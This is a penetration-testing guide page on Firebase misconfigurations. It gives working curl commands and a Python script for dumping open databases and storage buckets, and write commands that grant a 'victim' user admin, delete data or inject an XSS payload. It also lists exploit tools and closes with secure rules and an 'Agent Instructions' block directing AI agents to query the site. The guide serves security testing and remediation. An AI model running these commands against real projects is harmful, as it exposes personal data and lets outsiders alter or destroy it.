# Firebase

## Overview

Firebase is a Backend-as-a-Service (BaaS) platform by Google. Misconfigurations can lead to data exposure, unauthorized access, and account takeover.

## Common Misconfigurations

### Insecure Realtime Database

```bash
# Test for open database (no authentication required)
curl https://PROJECT-ID.firebaseio.com/.json

# If returns data = VULNERABLE
# If returns "Permission Denied" = properly configured

# Test for write access
curl -X PUT -d '{"test": "data"}' https://PROJECT-ID.firebaseio.com/test.json

# Test with shallow query (list keys only)
curl "https://PROJECT-ID.firebaseio.com/.json?shallow=true"
```

### Insecure Cloud Firestore

```bash
# Firestore uses different URL pattern
# Testing requires Firebase SDK or REST API with proper auth

# Check if Firestore rules allow public read
# In Firebase Console: Firestore Database > Rules
# Vulnerable rule:
# match /{document=**} {
#   allow read, write: if true;
# }
```

### Insecure Storage Buckets

```bash
# Firebase Storage uses Google Cloud Storage
# Bucket name format: PROJECT-ID.appspot.com

# Test public access
gsutil ls gs://PROJECT-ID.appspot.com/

# Or via HTTP
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o"

# List all files
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o?maxResults=1000"

# Download specific file
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o/FILENAME?alt=media"
```

## Enumeration

### Finding Firebase Projects

```bash
# From APK
apktool d app.apk
grep -r "firebaseio.com" app/
grep -r "firebaseapp.com" app/
grep -r "appspot.com" app/

# Common files containing Firebase config
# - google-services.json (Android)
# - GoogleService-Info.plist (iOS)
# - firebase-config.js (Web)

# Extract from google-services.json
cat google-services.json | jq '.project_info.firebase_url'
cat google-services.json | jq '.project_info.storage_bucket'

# From JavaScript files
grep -Eo "[a-z0-9-]+\.firebaseio\.com" *.js
grep -Eo "apiKey.*AIza[A-Za-z0-9_-]{35}" *.js
```

### API Key Extraction

```bash
# Firebase API keys are often exposed (they're meant to be public)
# But combined with misconfigurations, they can be dangerous

# Pattern: AIza followed by 35 chars
grep -rEo "AIza[A-Za-z0-9_-]{35}" .

# Project ID pattern
grep -rEo "[a-z0-9-]{5,30}\.firebaseapp\.com" .

# Full config extraction
grep -rEo '"apiKey"\s*:\s*"AIza[A-Za-z0-9_-]{35}"' .
```

## Exploitation

### Database Data Exfiltration

```python
#!/usr/bin/env python3
import requests
import json

base_url = "https://PROJECT-ID.firebaseio.com"

# Get all data
response = requests.get(f"{base_url}/.json")
if response.status_code == 200:
    data = response.json()
    print(json.dumps(data, indent=2))

# Get shallow keys first (for large databases)
response = requests.get(f"{base_url}/.json?shallow=true")
keys = response.json().keys()

# Then enumerate each collection
for key in keys:
    response = requests.get(f"{base_url}/{key}.json")
    print(f"\n=== {key} ===")
    print(json.dumps(response.json(), indent=2))
```

### Authentication Bypass

```bash
# If Firebase Auth is misconfigured, you might be able to:

# 1. Create accounts without email verification
# 2. Access authenticated endpoints without proper tokens
# 3. Enumerate user accounts

# Test anonymous authentication
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken":true}'

# This returns an idToken if anonymous auth is enabled
```

### Write Access Exploitation

```bash
# If write access is open, you can:

# 1. Modify existing data
curl -X PATCH -d '{"admin": true}' \
  "https://PROJECT-ID.firebaseio.com/users/victim.json"

# 2. Delete data
curl -X DELETE "https://PROJECT-ID.firebaseio.com/sensitive_data.json"

# 3. Add malicious content (for XSS if data is reflected)
curl -X PUT -d '{"content": "<script>alert(1)</script>"}' \
  "https://PROJECT-ID.firebaseio.com/posts/malicious.json"
```

### Cloud Functions Exploitation

```bash
# Firebase Cloud Functions can have vulnerabilities

# Find function endpoints
# Usually: https://REGION-PROJECT-ID.cloudfunctions.net/FUNCTION_NAME

# Test for:
# - Missing authentication
# - Input validation issues
# - SSRF via user-controlled URLs
# - Command injection

# Enumerate functions from Firebase config
# Check firebase.json in source code
```

## Tools

```bash
# Automated Firebase scanner
# https://github.com/Turr0n/firebase
python3 firebase.py -p 4 --dnsdumpster -l file

# Firebase Exploit
# https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit
python3 Firebase_Exploit.py

# Firebase Extractor
# https://github.com/viperbluff/Firebase-Extractor
python3 firebase.py xyz.firebaseio.com

# Baserunner - Firebase security assessment
# https://github.com/iosiro/baserunner
baserunner -c config.json

# Fireward - Firebase security rules tester
# https://github.com/nickmomrik/fireward
```

## Python Connector

```python
# https://github.com/thisbejim/Pyrebase
import pyrebase

config = {
  "apiKey": "FIREBASE_API_KEY",
  "authDomain": "PROJECT-ID.firebaseapp.com",
  "databaseURL": "https://PROJECT-ID.firebaseio.com",
  "storageBucket": "PROJECT-ID.appspot.com",
}

firebase = pyrebase.initialize_app(config)
db = firebase.database()

# Read all data
print(db.get().val())

# Read specific path
print(db.child("users").get().val())

# Write data (if allowed)
db.child("test").set({"key": "value"})
```

## Security Rules Analysis

```javascript
// Insecure rules (VULNERABLE)
{
  "rules": {
    ".read": true,
    ".write": true
  }
}

// Slightly better but still risky
{
  "rules": {
    ".read": "auth != null",
    ".write": "auth != null"
  }
}

// Proper rules (per-user data)
{
  "rules": {
    "users": {
      "$uid": {
        ".read": "$uid === auth.uid",
        ".write": "$uid === auth.uid"
      }
    }
  }
}
```

## Reporting Findings

When reporting Firebase misconfigurations:

1. **Data Exposure**: Document what data is accessible (PII, credentials, etc.)
2. **Write Access**: Demonstrate ability to modify data (use test entries)
3. **Impact**: Explain business impact (data breach, service disruption)
4. **Remediation**: Recommend proper security rules

## Resources

* [Firebase Security Rules Documentation](https://firebase.google.com/docs/rules)
* [Firebase Security Checklist](https://firebase.google.com/support/guides/security-checklist)
* [OWASP Mobile Security Testing Guide - Firebase](https://mas.owasp.org/MASTG/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/webservices/firebase.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
